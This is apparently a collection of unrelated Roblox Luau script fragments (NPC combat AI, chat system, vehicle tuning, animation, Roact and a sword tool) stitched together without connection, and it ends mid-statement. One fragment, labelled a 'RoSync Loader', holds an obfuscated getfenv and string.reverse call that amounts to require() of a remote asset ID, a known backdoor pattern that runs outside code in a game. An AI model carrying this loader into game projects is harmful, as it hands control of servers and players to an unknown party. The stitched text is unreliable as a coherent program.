end function yieldWeapons() yieldKnife() yieldM4() if weaponAimed == true then weaponAimed = false resetHead() end end function checkCluster(target) --Check for nearby allies for i,v in ipairs(activeAllies) do if checkDist(target,v) < 30 then return false end end --Check if enemies are paired close together for i,v in ipairs(potentialTargets) do if v ~= target then if checkDist(target,v) < 15 then return true end end end return false end function throwGrenade(target) if weaponCool == true and grenadeCool == true then weaponCool = false grenadeCool = false yieldWeapons() local g = grenade:Clone() g.Boom.PlayOnRemove = true g.Parent = workspace g.CanCollide = true g.CFrame = rArm.CFrame * CFrame.new(0,-1.3,0) * CFrame.Angles(0,0,math.rad(90)) game:GetService("Debris"):AddItem(g,5) grenade.Transparency = 1 local w = Instance.new("WeldConstraint",g) w.Part0 = rArm w.Part1 = g throwAnimation:Play() pinSound:Play() aim(target) wait(0.4) if myHuman.Health <= 0 then return end aim(target) throwAnimation:Stop() w.Part1 = nil local dist = checkDist(myTorso,target) g.Velocity = (myTorso.CFrame.LookVector + Vector3.new(0,1,0)) * Vector3.new(dist,dist*1.5,dist) --Wait until grenade is thrown before it can be primed local touched touched = g.Touched:Connect(function(obj) if not obj:IsDescendantOf(script.Parent) then touched:Disconnect() g.Pin:Play() wait(0.5) local x = Instance.new("Explosion",workspace) x.Position = g.Position x.Hit:Connect(function(obj,dist) local human = obj.Parent:FindFirstChild("Humanoid") if human then human:TakeDamage(20 - dist) human:ChangeState(Enum.HumanoidStateType.Ragdoll) end end) g:Destroy() game:GetService("Debris"):AddItem(x,2) end end) local attach0 = g.Attach0 local attach1 = g.Attach1 local t = Instance.new("Trail",g) t.Attachment0 = attach0 t.Attachment1 = attach1 t.Lifetime = 0.5 t.Color = ColorSequence.new(Color3.fromRGB(150,150,150)) t.WidthScale = NumberSequence.new(1,0) delay(1,function() weaponCool = true wait(5) grenadeCool = true grenade.Transparency = 0 end) end end function main() local target = findTarget() if target then if checkSight(target) then if checkDist(myTorso,target) > 15 then if checkCluster(target) == true and checkDist(target,myTorso) < 100 and checkDist(target,myTorso) > 30 and grenadeCool == true then throwGrenade(target) else drawM4() aim(target) shoot(target) end else drawKnife() myHuman:MoveTo(target.Position) if checkDist(target,myTorso) < 7 then stab(target) end end else if weaponAimed == true then weaponAimed = false resetHead() spawn(function() for i=0,1,0.1 do wait() aimerWeld.Part1 = nil aimer.CFrame = myTorso.CFrame * CFrame.new(0,0.5,0) * CFrame.Angles(math.rad(-35),0,0) aimerWeld.Part1 = aimer if weaponAimed then break end end end) end pathToLocation(target) end else yieldWeapons() walkRandom() end end function Died() for i,v in ipairs(script.Parent:GetDescendants()) do if v:IsA("BallSocketConstraint") then v.Enabled = true elseif v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" and v ~= aimer then v.CanCollide = true elseif v:IsA("Motor6D") then v:Destroy() end end wait(500) for i,v in ipairs(script.Parent:GetDescendants()) do if v:IsA("BasePart") or v:IsA("Decal") then game:GetService("TweenService"):Create(v,TweenInfo.new(0.2),{Transparency = 1}):Play() end end wait(0.2) clone.Parent = workspace script.Parent:Destroy() end myHuman.Died:Connect(Died) local oldHealth = myHuman.Health local soundSpeeds = {0.9,0.95,1,1.05,1.1} myHuman.HealthChanged:Connect(function(health) if health < oldHealth and hurtSound.IsPlaying == false then hurtSound.PlaybackSpeed = soundSpeeds[math.random(#soundSpeeds)] hurtSound:Play() end oldHealth = health end) Caster.RayHit:Connect(function(activeCast, rayResult) local hum = rayResult.Instance.Parent:FindFirstChildWhichIsA("Humanoid") if hum then hum:TakeDamage(14) end end) while wait() do if myHuman.Health > 0 then main() else break end end
-- connect events
Humanoid.Died:Connect(onDied) Humanoid.Running:Connect(onRunning) Humanoid.Jumping:Connect(onJumping) Humanoid.Climbing:Connect(onClimbing) Humanoid.GettingUp:Connect(onGettingUp) Humanoid.FreeFalling:Connect(onFreeFall) Humanoid.FallingDown:Connect(onFallingDown) Humanoid.Seated:Connect(onSeated) Humanoid.PlatformStanding:Connect(onPlatformStanding) Humanoid.Swimming:Connect(onSwimming)
-- why do I need a wait here?!?!?!? Sometimes touch controls don't disappear without this
wait() if UserInputService:GetGamepadConnected(Enum.UserInputType.Gamepad1) then if CurrentControlModule and IsTouchDevice then CurrentControlModule:Disable() end if isJumpEnabled and IsTouchDevice then TouchJumpModule:Disable() end ControlModules.Gamepad:Enable() end UserInputService.GamepadDisconnected:connect(function(gamepadEnum) if gamepadEnum ~= Enum.UserInputType.Gamepad1 then return end if CurrentControlModule and IsTouchDevice then CurrentControlModule:Enable() end if isJumpEnabled and IsTouchDevice then TouchJumpModule:Enable() end ControlModules.Gamepad:Disable() end) UserInputService.GamepadConnected:connect(function(gamepadEnum) if gamepadEnum ~= Enum.UserInputType.Gamepad1 then return end if CurrentControlModule and IsTouchDevice then CurrentControlModule:Disable() end if isJumpEnabled and IsTouchDevice then TouchJumpModule:Disable() end ControlModules.Gamepad:Enable() end)
-- Disable ActionPrompts when player is seated
local runningWhenSeated = false local function onCharacterAdded(character) local characterHumanoid = character:WaitForChild("Humanoid") characterHumanoid.Seated:Connect(function(isSeated) if isSeated and ActionPrompts.isRunning then runningWhenSeated = true ActionPrompts.stop() elseif not isSeated and not ActionPrompts.isRunning and runningWhenSeated == true then runningWhenSeated = false ActionPrompts.start() end end) end Players.LocalPlayer.CharacterAdded:Connect(onCharacterAdded) if Players.LocalPlayer.Character then onCharacterAdded(Players.LocalPlayer.Character) end return ActionPrompts
--TUNING--
tq = 60 ftq = 0 cst = 0.25 maxspeed = 550 brakes = 0.08 --(0.1 - 1) while wait() do speed = carSeat.Velocity.Magnitude rs = ((carSeat.Parent.Parent.Wheels.RL.Wheel.RotVelocity.Magnitude + carSeat.Parent.Parent.Wheels.RR.Wheel.RotVelocity.Magnitude)/2)/(2/carSeat.Parent.Parent.Wheels.RL.Wheel.Size.Y) if script.Parent.TC.Value == true then if rs > (3+speed) then script.Parent.HUB.TCi.BorderSizePixel = 3 script.Parent.TC.On.Value = true else script.Parent.HUB.TCi.BorderSizePixel = 0 script.Parent.TC.On.Value = false end end if script.Parent.Gear.Value == 1 then script.Parent.HUB.Gear.Text = "D" elseif script.Parent.Gear.Value == 0 then script.Parent.HUB.Gear.Text = "N" elseif script.Parent.Gear.Value == -1 then script.Parent.HUB.Gear.Text = "R" end
---------------------------------------------------------------
function onChildAdded(something) if something.Name == "SeatWeld" then local human = something.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then wait(.1) script.Parent.Parent.Body.ELS.Sirens.Wail:Stop() script.Parent.Parent.Body.ELS.Sirens.Yelp:Stop() script.Parent.Parent.Body.ELS.Sirens.Phaser:Stop() end end end function onChildRemoved(something) if (something.Name == "SeatWeld") then local human = something.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then print("Human Found") wait(.1) script.Parent.Parent.Body.ELS.Sirens.Wail:Stop() script.Parent.Parent.Body.ELS.Sirens.Yelp:Stop() script.Parent.Parent.Body.ELS.Sirens.Phaser:Stop() end end end script.Parent.ChildAdded:connect(onChildAdded) script.Parent.ChildRemoved:connect(onChildRemoved)
--[[Steering]]
Tune.SteerInner = 35 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 35 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .05 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
-- NOTE: This function is radically different from the engine's implementation
local function calcDesiredWalkVelocity() -- TEMP return Vector3.new(1,1,1) end local function preStepSimulatorSide(dt) if getAutoJump() and enableAutoJump() then local desiredWalkVelocity = calcDesiredWalkVelocity(); if (not vec3IsZero(desiredWalkVelocity)) then doAutoJump(); end end end local function AutoJumper() local this = {} local running = false local runRoutine = nil function this:Run() running = true local thisRoutine = nil thisRoutine = coroutine.create(function() while running and thisRoutine == runRoutine do this:Step() wait() end end) runRoutine = thisRoutine coroutine.resume(thisRoutine) end function this:Stop() running = false end function this:Step() preStepSimulatorSide() end return this end
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onSwimming(speed) if speed > 1.00 then local scale = 10.0 playAnimation("swim", 0.4, Humanoid) setAnimationSpeed(speed / scale) pose = "Swimming" else playAnimation("swimidle", 0.4, Humanoid) pose = "Standing" end end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action) return end end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end local lastTick = 0 function stepAnimate(currentTime) local amplitude = 1 local frequency = 1 local deltaTime = currentTime - lastTick lastTick = currentTime local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end -- Tool Animation handling local tool = Character:FindFirstChildOfClass("Tool") if tool and (tool.RequiresHandle or tool:FindFirstChild("Handle")) then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = currentTime + .3 end if currentTime > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
--// Event for making player say chat message.
function chatBarFocusLost(enterPressed, inputObject) DoBackgroundFadeIn() chatBarFocusChanged:Fire(false) if (enterPressed) then local message = ChatBar:GetTextBox().Text if ChatBar:IsInCustomState() then local customMessage = ChatBar:GetCustomMessage() if customMessage then message = customMessage end local messageSunk = ChatBar:CustomStateProcessCompletedMessage(message) ChatBar:ResetCustomState() if messageSunk then return end end ChatBar:GetTextBox().Text = "" if message ~= "" then --// Sends signal to eventually call Player:Chat() to handle C++ side legacy stuff. moduleApiTable.MessagePosted:fire(message) if not CommandProcessor:ProcessCompletedChatMessage(message, ChatWindow) then if ChatSettings.DisallowedWhiteSpace then for i = 1, #ChatSettings.DisallowedWhiteSpace do if ChatSettings.DisallowedWhiteSpace[i] == "\t" then message = string.gsub(message, ChatSettings.DisallowedWhiteSpace[i], " ") else message = string.gsub(message, ChatSettings.DisallowedWhiteSpace[i], "") end end end message = string.gsub(message, "\n", "") message = string.gsub(message, "[ ]+", " ") local targetChannel = ChatWindow:GetTargetMessageChannel() if targetChannel then MessageSender:SendMessage(message, targetChannel) else MessageSender:SendMessage(message, nil) end end end end end local ChatBarConnections = {} function setupChatBarConnections() for i = 1, #ChatBarConnections do ChatBarConnections[i]:Disconnect() end ChatBarConnections = {} local focusLostConnection = ChatBar:GetTextBox().FocusLost:connect(chatBarFocusLost) table.insert(ChatBarConnections, focusLostConnection) local focusGainedConnection = ChatBar:GetTextBox().Focused:connect(chatBarFocused) table.insert(ChatBarConnections, focusGainedConnection) end setupChatBarConnections() ChatBar.GuiObjectsChanged:connect(setupChatBarConnections) function getEchoMessagesInGeneral() if ChatSettings.EchoMessagesInGeneralChannel == nil then return true end return ChatSettings.EchoMessagesInGeneralChannel end EventFolder.OnMessageDoneFiltering.OnClientEvent:connect(function(messageData) if not ChatSettings.ShowUserOwnFilteredMessage then if messageData.FromSpeaker == LocalPlayer.Name then return end end local channelName = messageData.OriginalChannel local channelObj = ChatWindow:GetChannel(channelName) if channelObj then channelObj:UpdateMessageFiltered(messageData) end if getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then local generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName) if generalChannel then generalChannel:UpdateMessageFiltered(messageData) end end end) EventFolder.OnNewMessage.OnClientEvent:connect(function(messageData, channelName) local channelObj = ChatWindow:GetChannel(channelName) if (channelObj) then channelObj:AddMessageToChannel(messageData) if (messageData.FromSpeaker ~= LocalPlayer.Name) then ChannelsBar:UpdateMessagePostedInChannel(channelName) end if getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then local generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName) if generalChannel then generalChannel:AddMessageToChannel(messageData) end end moduleApiTable.MessageCount = moduleApiTable.MessageCount + 1 moduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount) DoFadeInFromNewInformation() end end) EventFolder.OnNewSystemMessage.OnClientEvent:connect(function(messageData, channelName) channelName = channelName or "System" local channelObj = ChatWindow:GetChannel(channelName) if (channelObj) then channelObj:AddMessageToChannel(messageData) ChannelsBar:UpdateMessagePostedInChannel(channelName) moduleApiTable.MessageCount = moduleApiTable.MessageCount + 1 moduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount) DoFadeInFromNewInformation() if getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then local generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName) if generalChannel then generalChannel:AddMessageToChannel(messageData) end end else warn(string.format("Just received system message for channel I'm not in [%s]", channelName)) end end) function HandleChannelJoined(channel, welcomeMessage, messageLog, channelNameColor, addHistoryToGeneralChannel, addWelcomeMessageToGeneralChannel) if ChatWindow:GetChannel(channel) then --- If the channel has already been added, remove it first. ChatWindow:RemoveChannel(channel) end if (channel == ChatSettings.GeneralChannelName) then DidFirstChannelsLoads = true end if channelNameColor then ChatBar:SetChannelNameColor(channel, channelNameColor) end local channelObj = ChatWindow:AddChannel(channel) if (channelObj) then if (channel == ChatSettings.GeneralChannelName) then DoSwitchCurrentChannel(channel) end if (messageLog) then local startIndex = 1 if #messageLog > ChatSettings.MessageHistoryLengthPerChannel then startIndex = #messageLog - ChatSettings.MessageHistoryLengthPerChannel end for i = startIndex, #messageLog do channelObj:AddMessageToChannel(messageLog[i]) end if getEchoMessagesInGeneral() and addHistoryToGeneralChannel then if ChatSettings.GeneralChannelName and channel ~= ChatSettings.GeneralChannelName then local generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName) if generalChannel then generalChannel:AddMessagesToChannelByTimeStamp(messageLog, startIndex) end end end end if (welcomeMessage ~= "") then local welcomeMessageObject = { ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = channel, IsFiltered = true, MessageLength = string.len(welcomeMessage), MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(welcomeMessage)), Message = trimTrailingSpaces(welcomeMessage), MessageType = ChatConstants.MessageTypeWelcome, Time = os.time(), ExtraData = nil, } channelObj:AddMessageToChannel(welcomeMessageObject) if getEchoMessagesInGeneral() and addWelcomeMessageToGeneralChannel and not ChatSettings.ShowChannelsBar then if channel ~= ChatSettings.GeneralChannelName then local generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName) if generalChannel then generalChannel:AddMessageToChannel(welcomeMessageObject) end end end end DoFadeInFromNewInformation() end end EventFolder.OnChannelJoined.OnClientEvent:connect(function(channel, welcomeMessage, messageLog, channelNameColor) HandleChannelJoined(channel, welcomeMessage, messageLog, channelNameColor, false, true) end) EventFolder.OnChannelLeft.OnClientEvent:connect(function(channel) ChatWindow:RemoveChannel(channel) DoFadeInFromNewInformation() end) EventFolder.OnMuted.OnClientEvent:connect(function(channel) --// Do something eventually maybe? --// This used to take away the chat bar in channels the player was muted in. --// We found out this behavior was inconvenient for doing chat commands though. end) EventFolder.OnUnmuted.OnClientEvent:connect(function(channel) --// Same as above. end) EventFolder.OnMainChannelSet.OnClientEvent:connect(function(channel) DoSwitchCurrentChannel(channel) end) coroutine.wrap(function() -- ChannelNameColorUpdated may not exist if the client version is older than the server version. local ChannelNameColorUpdated = DefaultChatSystemChatEvents:WaitForChild("ChannelNameColorUpdated", 5) if ChannelNameColorUpdated then ChannelNameColorUpdated.OnClientEvent:connect(function(channelName, channelNameColor) ChatBar:SetChannelNameColor(channelName, channelNameColor) end) end end)()
--------| Variables |--------
local lockMouse
-- Returns all screen GUI objects
function GuiController:getOtherScreenGuis() local instances = Cryo.List.filter(self.player.PlayerGui:GetDescendants(), function(instance) local isWhitelisted = false for _, ref in ipairs(self.whitelist) do if ref:getValue() == instance then isWhitelisted = true break end end return instance:IsA("ScreenGui") and instance.Enabled and not isWhitelisted end) return instances end function GuiController:getShownCoreGuis() local shownCoreGuis = Cryo.List.filter(Enum.CoreGuiType:GetEnumItems(), function(coreGuiType) return self.StarterGui:GetCoreGuiEnabled(coreGuiType) and coreGuiType ~= Enum.CoreGuiType.All end) return shownCoreGuis end return GuiController
--////////////////////////////// Methods --//////////////////////////////////////
local methods = {} methods.__index = methods function methods:AddChannel(channelName, autoJoin) if (self.ChatChannels[channelName:lower()]) then error(string.format("Channel %q alrady exists.", channelName)) end local function DefaultChannelCommands(fromSpeaker, message) if (message:lower() == "/leave") then local channel = self:GetChannel(channelName) local speaker = self:GetSpeaker(fromSpeaker) if (channel and speaker) then if (channel.Leavable) then speaker:LeaveChannel(channelName) speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_ChatService_YouHaveLeftChannel", string.format("You have left channel '%s'", channelName) ), "{RBX_NAME}",channelName), "System" ) else speaker:SendSystemMessage(ChatLocalization:Get("GameChat_ChatService_CannotLeaveChannel","You cannot leave this channel."), channelName) end end return true end return false end local channel = ChatChannel.new(self, channelName) self.ChatChannels[channelName:lower()] = channel channel:RegisterProcessCommandsFunction("default_commands", DefaultChannelCommands, ChatConstants.HighPriority) local success, err = pcall(function() self.eChannelAdded:Fire(channelName) end) if not success and err then print("Error addding channel: " ..err) end if autoJoin ~= nil then channel.AutoJoin = autoJoin if autoJoin then for _, speaker in pairs(self.Speakers) do speaker:JoinChannel(channelName) end end end return channel end function methods:RemoveChannel(channelName) if (self.ChatChannels[channelName:lower()]) then local n = self.ChatChannels[channelName:lower()].Name self.ChatChannels[channelName:lower()]:InternalDestroy() self.ChatChannels[channelName:lower()] = nil local success, err = pcall(function() self.eChannelRemoved:Fire(n) end) if not success and err then print("Error removing channel: " ..err) end else warn(string.format("Channel %q does not exist.", channelName)) end end function methods:GetChannel(channelName) return self.ChatChannels[channelName:lower()] end function methods:AddSpeaker(speakerName) if (self.Speakers[speakerName:lower()]) then error("Speaker \"" .. speakerName .. "\" already exists!") end local speaker = Speaker.new(self, speakerName) self.Speakers[speakerName:lower()] = speaker local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end) if not success and err then print("Error adding speaker: " ..err) end return speaker end function methods:InternalUnmuteSpeaker(speakerName) for channelName, channel in pairs(self.ChatChannels) do if channel:IsSpeakerMuted(speakerName) then channel:UnmuteSpeaker(speakerName) end end end function methods:RemoveSpeaker(speakerName) if (self.Speakers[speakerName:lower()]) then local n = self.Speakers[speakerName:lower()].Name self:InternalUnmuteSpeaker(n) self.Speakers[speakerName:lower()]:InternalDestroy() self.Speakers[speakerName:lower()] = nil local success, err = pcall(function() self.eSpeakerRemoved:Fire(n) end) if not success and err then print("Error removing speaker: " ..err) end else warn("Speaker \"" .. speakerName .. "\" does not exist!") end end function methods:GetSpeaker(speakerName) return self.Speakers[speakerName:lower()] end function methods:GetChannelList() local list = {} for i, channel in pairs(self.ChatChannels) do if (not channel.Private) then table.insert(list, channel.Name) end end return list end function methods:GetAutoJoinChannelList() local list = {} for i, channel in pairs(self.ChatChannels) do if channel.AutoJoin then table.insert(list, channel) end end return list end function methods:GetSpeakerList() local list = {} for i, speaker in pairs(self.Speakers) do table.insert(list, speaker.Name) end return list end function methods:SendGlobalSystemMessage(message) for i, speaker in pairs(self.Speakers) do speaker:SendSystemMessage(message, nil) end end function methods:RegisterFilterMessageFunction(funcId, func, priority) if self.FilterMessageFunctions:HasFunction(funcId) then error(string.format("FilterMessageFunction '%s' already exists", funcId)) end self.FilterMessageFunctions:AddFunction(funcId, func, priority) end function methods:FilterMessageFunctionExists(funcId) return self.FilterMessageFunctions:HasFunction(funcId) end function methods:UnregisterFilterMessageFunction(funcId) if not self.FilterMessageFunctions:HasFunction(funcId) then error(string.format("FilterMessageFunction '%s' does not exists", funcId)) end self.FilterMessageFunctions:RemoveFunction(funcId) end function methods:RegisterProcessCommandsFunction(funcId, func, priority) if self.ProcessCommandsFunctions:HasFunction(funcId) then error(string.format("ProcessCommandsFunction '%s' already exists", funcId)) end self.ProcessCommandsFunctions:AddFunction(funcId, func, priority) end function methods:ProcessCommandsFunctionExists(funcId) return self.ProcessCommandsFunctions:HasFunction(funcId) end function methods:UnregisterProcessCommandsFunction(funcId) if not self.ProcessCommandsFunctions:HasFunction(funcId) then error(string.format("ProcessCommandsFunction '%s' does not exist", funcId)) end self.ProcessCommandsFunctions:RemoveFunction(funcId) end local LastFilterNoficationTime = 0 local LastFilterIssueTime = 0 local FilterIssueCount = 0 function methods:InternalNotifyFilterIssue() if (tick() - LastFilterIssueTime) > FILTER_THRESHOLD_TIME then FilterIssueCount = 0 end FilterIssueCount = FilterIssueCount + 1 LastFilterIssueTime = tick() if FilterIssueCount >= FILTER_NOTIFCATION_THRESHOLD then if (tick() - LastFilterNoficationTime) > FILTER_NOTIFCATION_INTERVAL then LastFilterNoficationTime = tick() local systemChannel = self:GetChannel("System") if systemChannel then systemChannel:SendSystemMessage( ChatLocalization:Get( "GameChat_ChatService_ChatFilterIssues", "The chat filter is currently experiencing issues and messages may be slow to appear." ), errorExtraData ) end end end end local StudioMessageFilteredCache = {}
-- Image shortcuts: you can use these string instead of using image ids
richText.ImageShortcuts = {} richText.ImageShortcuts.Eggplant = 639588687 richText.ImageShortcuts.Thinking = 955646496 richText.ImageShortcuts.Sad = 947900188 richText.ImageShortcuts.Happy = 414889555 richText.ImageShortcuts.Despicable = 711674643
-- Extracted this function from Connect as it results in the closure -- made in Connect using less memory because this function can be static
local function Disconnect<T...>(self: Signal<T...>, Node: SignalNode<T...>) if self.Root == Node then self.Root = Node.Next else local Current = self.Root while Current do if Current.Next == Node then Current.Next = Node.Next break end Current = Current.Next end end end function Signal.Connect<T...>(self: Signal<T...>, Callback: (T...) -> ()): () -> () local Node = { Next = self.Root, Callback = Callback, } self.Root = Node return function() Disconnect(self, Node) end end function Signal.Wait<T...>(self: Signal<T...>): T... local Thread = coroutine.running() local Disconnect Disconnect = self:Connect(function(...) Disconnect() coroutine.resume(Thread, ...) end) return coroutine.yield() end function Signal.Once<T...>(self: Signal<T...>, Callback: (T...) -> ()): () -> () local Disconnect Disconnect = self:Connect(function(...) Disconnect() Callback(...) end) return Disconnect end function Signal.Fire<T...>(self: Signal<T...>, ...: T...) local Current = self.Root while Current do Spawn(Current.Callback, ...) Current = Current.Next end end function Signal.DisconnectAll<T...>(self: Signal<T...>) self.Root = nil end return function<T...>(): Signal<T...> return setmetatable({ Root = nil, }, Signal) :: any end
--[[Engine]]
--Torque Curve Tune.Horsepower = 268 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 7000 -- Use sliders to manipulate values Tune.Redline = 7500 -- Copy and paste slider values into the respective tune values Tune.ComfortShift = 5250 Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--[=[ @param value any @return any Serializes the given value. ]=]
function Ser.Serialize(value: any): any if type(value) == "table" then local ser = Ser.Classes[value.ClassName] if ser then value = ser.Serialize(value) end end return value end
---------------------->INTERSETAR ESTE LOCALSCRIPT EN STARTERGUI<----------------------------------------------------
game:GetService('Players').LocalPlayer:WaitForChild('PlayerGui'):SetTopbarTransparency(1)
--[[ A method called by consumers of Roact to create a new component class. Components can not be extended beyond this point, with the exception of PureComponent. ]]
function Component:extend(name) if config.typeChecks then assert(Type.of(self) == Type.StatefulComponentClass, "Invalid `self` argument to `extend`.") assert(typeof(name) == "string", "Component class name must be a string") end local class = {} for key, value in pairs(self) do -- Roact opts to make consumers use composition over inheritance, which -- lines up with React. -- https://reactjs.org/docs/composition-vs-inheritance.html if key ~= "extend" then class[key] = value end end class[Type] = Type.StatefulComponentClass class.__index = class class.__componentName = name setmetatable(class, componentClassMetatable) return class end function Component:__getDerivedState(incomingProps, incomingState) if config.internalTypeChecks then internalAssert(Type.of(self) == Type.StatefulComponentInstance, "Invalid use of `__getDerivedState`") end local internalData = self[InternalData] local componentClass = internalData.componentClass if componentClass.getDerivedStateFromProps ~= nil then local derivedState = componentClass.getDerivedStateFromProps(incomingProps, incomingState) if derivedState ~= nil then if config.typeChecks then assert(typeof(derivedState) == "table", "getDerivedStateFromProps must return a table!") end return derivedState end end return nil end function Component:setState(mapState) if config.typeChecks then assert(Type.of(self) == Type.StatefulComponentInstance, "Invalid `self` argument to `extend`.") end local internalData = self[InternalData] local lifecyclePhase = internalData.lifecyclePhase --[[ When preparing to update, rendering, or unmounting, it is not safe to call `setState` as it will interfere with in-flight updates. It's also disallowed during unmounting ]] if lifecyclePhase == ComponentLifecyclePhase.ShouldUpdate or lifecyclePhase == ComponentLifecyclePhase.WillUpdate or lifecyclePhase == ComponentLifecyclePhase.Render or lifecyclePhase == ComponentLifecyclePhase.WillUnmount then local messageTemplate = invalidSetStateMessages[internalData.lifecyclePhase] local message = messageTemplate:format(tostring(internalData.componentClass)) error(message, 2) end local pendingState = internalData.pendingState local partialState if typeof(mapState) == "function" then partialState = mapState(pendingState or self.state, self.props) -- Abort the state update if the given state updater function returns nil if partialState == nil then return end elseif typeof(mapState) == "table" then partialState = mapState else error("Invalid argument to setState, expected function or table", 2) end local newState if pendingState ~= nil then newState = assign(pendingState, partialState) else newState = assign({}, self.state, partialState) end if lifecyclePhase == ComponentLifecyclePhase.Init then -- If `setState` is called in `init`, we can skip triggering an update! local derivedState = self:__getDerivedState(self.props, newState) self.state = assign(newState, derivedState) elseif lifecyclePhase == ComponentLifecyclePhase.DidMount or lifecyclePhase == ComponentLifecyclePhase.DidUpdate or lifecyclePhase == ComponentLifecyclePhase.ReconcileChildren then --[[ During certain phases of the component lifecycle, it's acceptable to allow `setState` but defer the update until we're done with ones in flight. We do this by collapsing it into any pending updates we have. ]] local derivedState = self:__getDerivedState(self.props, newState) internalData.pendingState = assign(newState, derivedState) elseif lifecyclePhase == ComponentLifecyclePhase.Idle then -- Outside of our lifecycle, the state update is safe to make immediately self:__update(nil, newState) else local messageTemplate = invalidSetStateMessages.default local message = messageTemplate:format(tostring(internalData.componentClass)) error(message, 2) end end
--[[ Last synced 5/5/2023 07:16 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
--For Omega Rainbow Katana thumbnail to display a lot of particles.
for i, v in pairs(Handle:GetChildren()) do if v:IsA("ParticleEmitter") then v.Rate = 20 end end Tool.Grip = Grips.Up Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Blow(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then return end local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) humanoid:TakeDamage(Damage) end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Slash" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Slash") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Lunge") if Anim then local Track = 